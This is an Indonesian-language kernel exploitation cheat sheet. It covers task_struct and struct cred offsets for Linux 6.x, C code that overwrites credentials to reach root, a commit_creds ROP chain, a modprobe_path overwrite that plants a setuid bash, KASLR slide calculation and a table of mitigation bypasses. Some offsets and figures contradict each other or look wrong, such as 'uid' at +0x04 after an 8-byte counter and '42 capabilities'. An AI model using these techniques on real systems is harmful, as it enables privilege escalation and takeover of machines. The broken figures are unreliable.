01
task_struct — Field Kritis
▾
Offset di
task_struct bervariasi antar build tergantung CONFIG_*. Angka di bawah adalah perkiraan kernel 6.1 defconfig x86_64. Selalu verifikasi dengan pahole atau GDB.
struct task_struct
/* include/linux/sched.h — ~10KB */
+0x000
volatile long
__state
TASK_RUNNING / TASK_INTERRUPTIBLE / ...
+0x008
void *
stack PTR
kernel stack base pointer
+0x010
refcount_t
usage
reference count — jangan nol-kan
+0x018
unsigned int
flags
PF_* thread flags
+0x1B8
struct mm_struct *
mm LEAK
user address space — berguna untuk info leak
+0x1C0
struct mm_struct *
active_mm LEAK
active mm (bisa berbeda dari mm saat kswapd)
+0x220
int
prio / static_prio
scheduling priority
+0x3D8
pid_t
pid IDENT
process ID — untuk targeting proses
+0x3DC
pid_t
tgid IDENT
thread group ID
+0x3E0
struct task_struct *
real_parent LEAK
pointer ke parent — traverse process tree
+0x440
struct list_head
tasks TRAVERSE
linked list semua proses — next/prev ptrs
+0x570
char[16]
comm IDENT
process name — berguna untuk cek/korelasi
+0x5B0
struct files_struct *
files PTR
file descriptor table
+0x5B8
struct fs_struct *
fs PTR
filesystem context (cwd, root)
+0x640
const struct cred *
real_cred TARGET
credentials saat fork — baca untuk dapat cred ptr
+0x648
const struct cred *
cred OVERWRITE
effective cred — ini yang dicek kernel saat syscall
+0x660
struct nsproxy *
nsproxy PTR
namespace — target container escape
+0x688
struct signal_struct *
signal
signal handling state
+0x7D0
struct thread_struct
thread
CPU state: sp, ip, x86 registers
next_task = task->tasks.next - offsetof(task_struct, tasks)
= task->tasks.next - 0x440
02
struct cred — Anatomi Lengkap
▾
Layout
struct cred relatif stabil antar kernel 6.x. Offset-offset di bawah hampir pasti valid di 6.1, 6.6, 6.8 LTS.
struct cred
/* include/linux/cred.h — ~168 bytes */
+0x00
atomic_long_t
usage
refcount — JANGAN tulis 0, crash
+0x04
kuid_t (u32)
uid → 0
real UID
+0x08
kgid_t (u32)
gid → 0
real GID
+0x0C
kuid_t (u32)
suid → 0
saved UID
+0x10
kgid_t (u32)
sgid → 0
saved GID
+0x14
kuid_t (u32)
euid → 0 !
effective UID — TARGET UTAMA #1
+0x18
kgid_t (u32)
egid → 0 !
effective GID — TARGET UTAMA #2
+0x1C
kuid_t (u32)
fsuid → 0
filesystem UID — dicek VFS saat file access
+0x20
kgid_t (u32)
fsgid → 0
filesystem GID
+0x24
unsigned int
securebits
SECBIT_NOROOT / SECBIT_KEEP_CAPS flags
+0x28
kernel_cap_t (u64)
cap_inheritable → 0x1FFFFFFFFFF
inherited across execve
+0x30
kernel_cap_t (u64)
cap_permitted → 0x1FFFFFFFFFF
superset dari effective
+0x38
kernel_cap_t (u64)
cap_effective → 0x1FFFFFFFFFF !
TARGET #3 — capabilities yang benar-benar dipakai kernel
+0x40
kernel_cap_t (u64)
cap_bset → 0x1FFFFFFFFFF
bounding set — upper limit untuk cap_permitted
+0x48
kernel_cap_t (u64)
cap_ambient
ambient caps (kernel 4.3+)
+0x78
void *
security
LSM blob — SELinux / AppArmor ctx
+0x88
struct user_namespace *
user_ns
user namespace context
cap_effective all set = 0x1FFFFFFFFFF <— 42 capabilities, Linux 6.x
03
Cara Verifikasi Offset di Target Kernel
▾
pahole
GDB+QEMU
Kernel Module
sysfs / proc
bash
# Install dwarves package apt install dwarves # Perlu vmlinux dengan debug info (CONFIG_DEBUG_INFO=y) pahole -C task_struct /boot/vmlinux-$(uname -r) \ | grep -E "pid|tgid|cred|comm|tasks|mm|real_parent" # Untuk struct cred (stabil, jarang perlu dicek) pahole -C cred vmlinux # Contoh output: # pid : 32; /* 15296 63 */ → offset = 15296/8 = 1912 bytes = 0x778 # real_cred : 64; /* 25664 0 */ → 25664/8 = 3208 = 0xC88 # cred : 64; /* 25728 0 */ # Cara baca output pahole: # field : bits; /* bit_offset bit_size */ # offset_bytes = bit_offset / 8
gdb
# Attach ke QEMU kernel dengan -s -S flag gdb vmlinux (gdb) target remote localhost:1234 # Cek offset dari base struct (gdb) p/x &((struct task_struct *)0)->cred # $1 = 0x648 (gdb) p/x &((struct task_struct *)0)->real_cred # $2 = 0x640 (gdb) p/x &((struct task_struct *)0)->pid (gdb) p/x &((struct task_struct *)0)->comm (gdb) p/x &((struct task_struct *)0)->tasks # Offset dalam struct cred (gdb) p/x &((struct cred *)0)->euid # $3 = 0x14 (gdb) p/x &((struct cred *)0)->cap_effective # $4 = 0x38 # Dari proses yang running (current adalah macro kernel) (gdb) p current->pid (gdb) p current->cred->euid (gdb) p/x current->cred->cap_effective
c
#include <linux/module.h> #include <linux/sched.h> #include <linux/cred.h> #include <linux/stddef.h> static int __init probe_init(void) { struct task_struct *t = current; pr_info("=== task_struct offsets ===\n"); pr_info("cred : 0x%zx\n", offsetof(struct task_struct, cred)); pr_info("real_cred : 0x%zx\n", offsetof(struct task_struct, real_cred)); pr_info("pid : 0x%zx\n", offsetof(struct task_struct, pid)); pr_info("comm : 0x%zx\n", offsetof(struct task_struct, comm)); pr_info("tasks : 0x%zx\n", offsetof(struct task_struct, tasks)); pr_info("mm : 0x%zx\n", offsetof(struct task_struct, mm)); pr_info("=== struct cred offsets ===\n"); pr_info("uid : 0x%zx\n", offsetof(struct cred, uid)); pr_info("euid : 0x%zx\n", offsetof(struct cred, euid)); pr_info("cap_eff : 0x%zx\n", offsetof(struct cred, cap_effective)); pr_info("=== current process ===\n"); pr_info("pid=%d comm=%s euid=%u\n", t->pid, t->comm, t->cred->euid.val); return 0; } static void __exit probe_exit(void) {} module_init(probe_init); module_exit(probe_exit); MODULE_LICENSE("GPL");
bash
# kallsyms — butuh CAP_SYSLOG atau kptr_restrict=0 grep "commit_creds\|prepare_kernel_cred\|init_task" /proc/kallsyms # Di QEMU research env (disable kptr_restrict) echo 0 > /proc/sys/kernel/kptr_restrict cat /proc/kallsyms | grep " T commit_creds" cat /proc/kallsyms | grep " T prepare_kernel_cred" cat /proc/kallsyms | grep " D init_task" # System.map (no KASLR offset, raw compile-time address) grep -E "commit_creds|prepare_kernel_cred|init_task" \ /boot/System.map-$(uname -r) # Cek dmesg setelah load LKM probe_init di atas dmesg | tail -30
04
Teknik Privilege Escalation
▾
Cred Overwrite Langsung
Arbitrary write → overwrite UID/GID/caps di cred struct. Paling stabil dan reliable.
c
/* Dari arbitrary write primitive */ void escalate_cred(uint64_t task_addr) { /* 1. baca cred pointer */ uint64_t cred = read64(task_addr + 0x648); /* 2. zero semua UID/GID (u32 each) */ write32(cred + 0x04, 0); /* uid */ write32(cred + 0x08, 0); /* gid */ write32(cred + 0x0C, 0); /* suid */ write32(cred + 0x10, 0); /* sgid */ write32(cred + 0x14, 0); /* euid ← KRITIS */ write32(cred + 0x18, 0); /* egid ← KRITIS */ write32(cred + 0x1C, 0); /* fsuid */ write32(cred + 0x20, 0); /* fsgid */ /* 3. full capabilities */ write64(cred + 0x28, 0x1FFFFFFFFFF); /* inheritable */ write64(cred + 0x30, 0x1FFFFFFFFFF); /* permitted */ write64(cred + 0x38, 0x1FFFFFFFFFF); /* effective */ write64(cred + 0x40, 0x1FFFFFFFFFF); /* bset */ } /* Setelah ini: getuid() == 0 → spawn /bin/sh */
commit_creds + prepare_kernel_cred
Kernel-native via ROP chain atau ret2usr. Paling bersih — kernel sendiri yang mengurus atomicity.
asm
; ROP payload (x86-64) ; 1. prepare_kernel_cred(NULL) → rax = new_cred* ; 2. commit_creds(rax) → pasang ke current pop_rdi_ret: xor rdi, rdi ; arg0 = NULL call prepare_kernel_cred ; rax = *cred mov_rdi_rax_ret: mov rdi, rax call commit_creds ; Setelah commit_creds, kembali ke userspace ; dan panggil execve("/bin/sh", NULL, NULL)
bash
# Cari alamat fungsi (kptr_restrict=0) grep "commit_creds\|prepare_kernel_cred" /proc/kallsyms
Traverse tasks List
Cari task_struct proses target via doubly-linked tasks list. Berguna untuk cross-process targeting.
c
/* Traverse dari init_task, cari pid target */ #define TASKS_OFF 0x440 #define PID_OFF 0x3D8 uint64_t find_task(uint64_t init_task, pid_t pid) { uint64_t cur = read64(init_task + TASKS_OFF); while (1) { uint64_t task = cur - TASKS_OFF; if (read32(task + PID_OFF) == pid) return task; cur = read64(cur); /* tasks.next */ if (cur == init_task + TASKS_OFF) break; /* full loop */ } return 0; }
modprobe_path Overwrite
Overwrite modprobe_path global dengan path script custom. Trigger via eksekusi binary dengan magic bytes invalid.
c
/* modprobe_path default: "/sbin/modprobe" (256 bytes) */ /* Overwrite dengan path ke script kita */ uint64_t modprobe_addr = kaslr_base + 0x...; /* dari kallsyms */ write_str(modprobe_addr, "/tmp/x\0"); /* /tmp/x isinya: */ /* #!/bin/sh */ /* cp /bin/bash /tmp/r */ /* chmod 4777 /tmp/r */ /* Trigger: eksekusi binary dengan magic bytes tidak dikenal */ /* kernel akan panggil modprobe_path → script kita jalan sbg root */ system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/bad"); system("chmod +x /tmp/bad && /tmp/bad");
05
KASLR Bypass — Cara Dapat Alamat Runtime
▾
Semua teknik di Bagian 4 butuh alamat kernel yang valid. KASLR mengacak base kernel setiap boot. Wajib leak dulu sebelum write.
c
/* Menghitung KASLR slide dari satu leaked pointer */ uint64_t leaked = 0xffffffff88abcdef; /* dari bug */ uint64_t sym_nokaslr = 0xffffffff81234567; /* dari System.map */ /* KASLR granularity: 0x200000 (2MB) di x86-64 */ uint64_t slide = (leaked - sym_nokaslr) & ~0x1FFFFF; uint64_t commit_creds = 0xffffffff810b3d60 + slide; uint64_t prepare_kernel_cred = 0xffffffff810b3a70 + slide; uint64_t init_task = 0xffffffff82c14940 + slide; uint64_t modprobe_path = 0xffffffff82e4a600 + slide;
bash
# Vektor leak yang umum: # 1. /proc/kallsyms (jika kptr_restrict longgar) cat /proc/kallsyms | grep " D init_task" # 2. Uninitialized kernel stack → leaked ptr bocor ke userspace # 3. OOB read dari heap / ring buffer # 4. msg_msg / mqueue spray untuk cross-cache leak # 5. /proc/self/maps untuk mmap-based leak (terbatas) # 6. dmesg kernel ptr (butuh CAP_SYSLOG atau admin) # Verifikasi slide alignment: python3 -c "slide=0x...; print(hex(slide % 0x200000))" # harus: 0x0 (aligned ke 2MB)
06
Quick Reference Card — Multi-Version
▾
struct cred sangat stabil. task_struct cred pointer bisa shift ±8..16 bytes antar minor version — selalu pahole dulu.
struct cred (stabil)
task_struct 6.1
task_struct 6.6
task_struct 6.8
| Offset | Type | Field | Target Value | Catatan |
|---|---|---|---|---|
| +0x00 | atomic_long_t | usage | JANGAN nol-kan | refcount |
| +0x04 | u32 | uid | 0x00000000 | real UID |
| +0x08 | u32 | gid | 0x00000000 | real GID |
| +0x0C | u32 | suid | 0x00000000 | saved UID |
| +0x10 | u32 | sgid | 0x00000000 | saved GID |
| +0x14 | u32 | euid | 0x00000000 | ⬅ TARGET #1 |
| +0x18 | u32 | egid | 0x00000000 | ⬅ TARGET #2 |
| +0x1C | u32 | fsuid | 0x00000000 | VFS check |
| +0x20 | u32 | fsgid | 0x00000000 | VFS check |
| +0x24 | u32 | securebits | biarkan | SECBIT_* flags |
| +0x28 | u64 | cap_inheritable | 0x1FFFFFFFFFF | 42 caps |
| +0x30 | u64 | cap_permitted | 0x1FFFFFFFFFF | superset |
| +0x38 | u64 | cap_effective | 0x1FFFFFFFFFF | ⬅ TARGET #3 |
| +0x40 | u64 | cap_bset | 0x1FFFFFFFFFF | bounding set |
| +0x48 | u64 | cap_ambient | optional | kernel 4.3+ |
| Offset | Field | Kegunaan |
|---|---|---|
| +0x008 | stack | kernel stack ptr |
| +0x1B8 | mm | user mm_struct |
| +0x3D8 | pid | process ID |
| +0x3DC | tgid | thread group ID |
| +0x3E0 | real_parent | parent ptr |
| +0x440 | tasks | list_head — traverse |
| +0x570 | comm[16] | process name |
| +0x640 | real_cred | ⬅ baca untuk cred ptr |
| +0x648 | cred | ⬅ OVERWRITE target |
| +0x660 | nsproxy | namespace (container escape) |
| Offset | Field | Delta vs 6.1 |
|---|---|---|
| +0x1B8 | mm | sama |
| +0x3D0 | pid | -0x08 dari 6.1 |
| +0x440 | tasks | sama |
| +0x568 | comm[16] | -0x08 |
| +0x638 | real_cred | -0x08 ← perhatikan! |
| +0x640 | cred | -0x08 ← perhatikan! |
Kernel 6.6 memperkenalkan beberapa field baru di area scheduling yang menyebabkan shift. Wajib verifikasi dengan pahole di target build.
| Offset | Field | Delta vs 6.1 |
|---|---|---|
| +0x1B8 | mm | sama |
| +0x3D8 | pid | sama seperti 6.1 |
| +0x440 | tasks | sama |
| +0x570 | comm[16] | sama seperti 6.1 |
| +0x640 | real_cred | sama seperti 6.1 |
| +0x648 | cred | sama seperti 6.1 |
07
Mitigasi & Bypass Strategy
▾
| Mitigasi | Dampak | Bypass Umum |
|---|---|---|
| KASLR | Semua pointer perlu di-leak dulu. Tanpa leak, exploit buta. | Info leak bug · kallsyms · timing side-channel · OOB read |
| SMEP | Tidak bisa langsung jump ke user page dari kernel mode. | kROP chain · JOP · ret2kernel gadget · PKRU bypass |
| SMAP | Tidak bisa baca/tulis user memory langsung dari kernel. | copy_from/to_user gadget · kernel buffer pivoting |
| KPTI | CR3 switch saat syscall return → TLB flush overhead. | KPTI trampoline gadget sebelum SWAPGS+SYSRET |
| FG-KASLR | Per-function randomization — satu leak tidak cukup. | Multiple leaks · leak dari data section · plt/got abuse |
| CFI (Clang) | Validasi indirect call target → banyak JOP gadget invalid. | Research area aktif · type confusion · forward-edge bypass |
| SLAB Randomize | Heap spray lebih susah diprediksi posisinya. | Grooming dengan msg_msg · timing · cross-cache overlap |
| SELinux / AppArmor | Bahkan setelah uid=0, access control masih berlaku. | Overwrite security blob di cred · disable via setenforce 0 |
08
Syzkaller Tips — ksmbd & FUSE Campaign
▾
Tips spesifik untuk campaign ksmbd/FUSE passthrough yang sedang berjalan.
syzlang
# Deskriptor untuk probe cred region — bantu korelasi crash # Kalau crash menyentuh offset 0x14/0x38 dari cred ptr, # kemungkinan besar ada UAF atau write-after-free ke cred resource fd_ksmbd[fd] # Trigger ksmbd + baca status cred current task openat$ksmbd(fd fd_ksmbd, file ptr[in, filename], flags flags[open_flags]) ioctl$KSMBD_IOCTL_CREATE_SESSION(fd fd_ksmbd, cmd const[0x...], arg ptr[in, ksmbd_session]) # FUSE passthrough — target FUSE_COPY_FILE_RANGE via passthrough fd resource fd_fuse[fd] syz_fuse_mount(&path ptr[in, filename], source ptr[in, filename], flags flags[fuse_flags], opts ptr[in, fuse_opts])
bash
# Korelasi crash dengan cred region di dmesg # Sinyal kuat bahwa crash menyentuh cred: dmesg | grep -E "commit_creds|security_task_fix_setuid|__cred_update" dmesg | grep -E "KASAN.*cred|slab.*cred|kfree.*cred" # Untuk ksmbd — cek apakah ada UAF di session/tree context dmesg | grep -E "ksmbd|smb3|WARN.*ksmbd" # Aktifkan KASAN + KCOV di .config untuk kampanye ini: # CONFIG_KASAN=y # CONFIG_KASAN_INLINE=y # CONFIG_KCOV=y # CONFIG_KCOV_INSTRUMENT_ALL=y # CONFIG_DEBUG_INFO=y # CONFIG_FRAME_POINTER=y
Crash ke commit_creds → privilege escalation path ditemukan
Crash ke cred_alloc_blank → UAF/double-free pada cred struct